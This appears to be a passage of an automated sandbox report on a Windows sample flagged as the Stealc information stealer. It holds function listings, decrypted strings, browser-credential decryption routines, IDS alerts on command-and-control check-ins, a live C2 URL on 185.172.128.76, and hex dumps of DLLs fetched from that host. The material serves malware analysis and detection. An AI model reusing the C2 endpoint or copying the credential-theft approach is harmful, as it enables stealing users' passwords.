malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CCFB2C9,?,?,?,6CCFB127,?,?,?,?,?,?,?,?,?,6CCFAE52), ref: 6CCFB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CCFB2C9,?,?,?,6CCFB127,?,?,?,?,?,?,?,?,?,6CCFAE52), ref: 6CCFB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CCFB127,?,?,?,?,?,?,?,?), ref: 6CCFB74D

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 83c657b4721f84b9437351d69602fae3a3c56421ee821577c46d8cd4b89ca219
Instruction ID: 5ab17bba733755644572458e8c3d03ff495964b806345df3488f709077da2259
Opcode Fuzzy Hash: 83c657b4721f84b9437351d69602fae3a3c56421ee821577c46d8cd4b89ca219
Instruction Fuzzy Hash: 1451F071A01616CFEB58CF18C99075EB7B5FF84304F15852EC96AAB700EB31E806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CCB0A4D), ref: 6CD0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CCB0A4D), ref: 6CD0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CCB0A4D), ref: 6CD0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CCB0A4D), ref: 6CD0B67F

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: ee10ad37762a06c8b7be180b542eb96746639c1aa97b754c13724d1dd5c40af4
Instruction ID: 0c93cbb472c6a0b8882db1d58c26872e83d8d19cb31162d01d246bd2537c35e3
Opcode Fuzzy Hash: ee10ad37762a06c8b7be180b542eb96746639c1aa97b754c13724d1dd5c40af4
Instruction Fuzzy Hash: 3531F4B1A04216DFEB10CF5CC84465AFBB9FF81304F568569C9069F261DB71E915CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCDF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CCDF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CCDF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CCDF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CCDF668

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 122ef2593c13ed84c8e414de338447c2aba03b8bba1561b307d4b93993889e90
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 76313E71A00214AFC714CF5ADCC0A9A77B5FBC4354B188539FA498BB15E671F944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF26C1
free.MOZGLUE(?), ref: 6CCF26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF26FF
free.MOZGLUE ref: 6CCF270D

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c8c4f3f29981daec96c78dff5fe535bef8ab46d37d04239858bf3230b63d172e
Instruction ID: dce6e48b30c2676911b33086218e2e28322403dd2d81b6e77b3622e74fc5d6af
Opcode Fuzzy Hash: c8c4f3f29981daec96c78dff5fe535bef8ab46d37d04239858bf3230b63d172e
Instruction Fuzzy Hash: 72F0F9B27012405BF7009B18D884A4BB3ADEF41218B500035EB26C3B01F332F91AC696

Uniqueness

Uniqueness Score: -1.00%

Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: CtIvEWInDoW
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: AgEBOxw
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: ijklmnopqrs
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: /#%33@@@
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: @@@@<@@@
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: "&&""..""&&"">>""&&"".."ikSQWQSQ_QBEklmn^pqrBtuvFxyzL123H5679+/\|
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: %s\%V/yVs
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: %s\*.
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: }567y9n/S
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: ntTekeny
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: ging
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: PassMord0
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: J@@@`z`@J@@@J@@@
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: OPQRSTUVWXY
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: 456753+/---- '
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: '--- '
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: 6~uxpS
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: idf7
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: v\|wiJB
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: HeapFree
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: ntProcessId
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: r\|yTw
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: wininet.dll
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: shell32.dll
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: q_yclEGL\|9FMupzgjYeo'
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: .dll
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: kxwY
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: brir/Coa`wD9
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: column_text
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: vv\|`i~
Source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	String decryptor: login:

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409540
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004155A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00406C10
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004094A0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040BF90
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CCB6C80

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49704 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49704 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.76:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49704 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.76:80 -> 192.168.2.5:49704

Source: Malware configuration extractor	URLs: http://185.172.128.76/3cd2b41cbde8fc9c.php
Source: Malware configuration extractor	URLs: http://185.172.128.76/3cd2b41cbde8fc9c.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:32:55 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:33:00 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:33:01 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:33:02 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
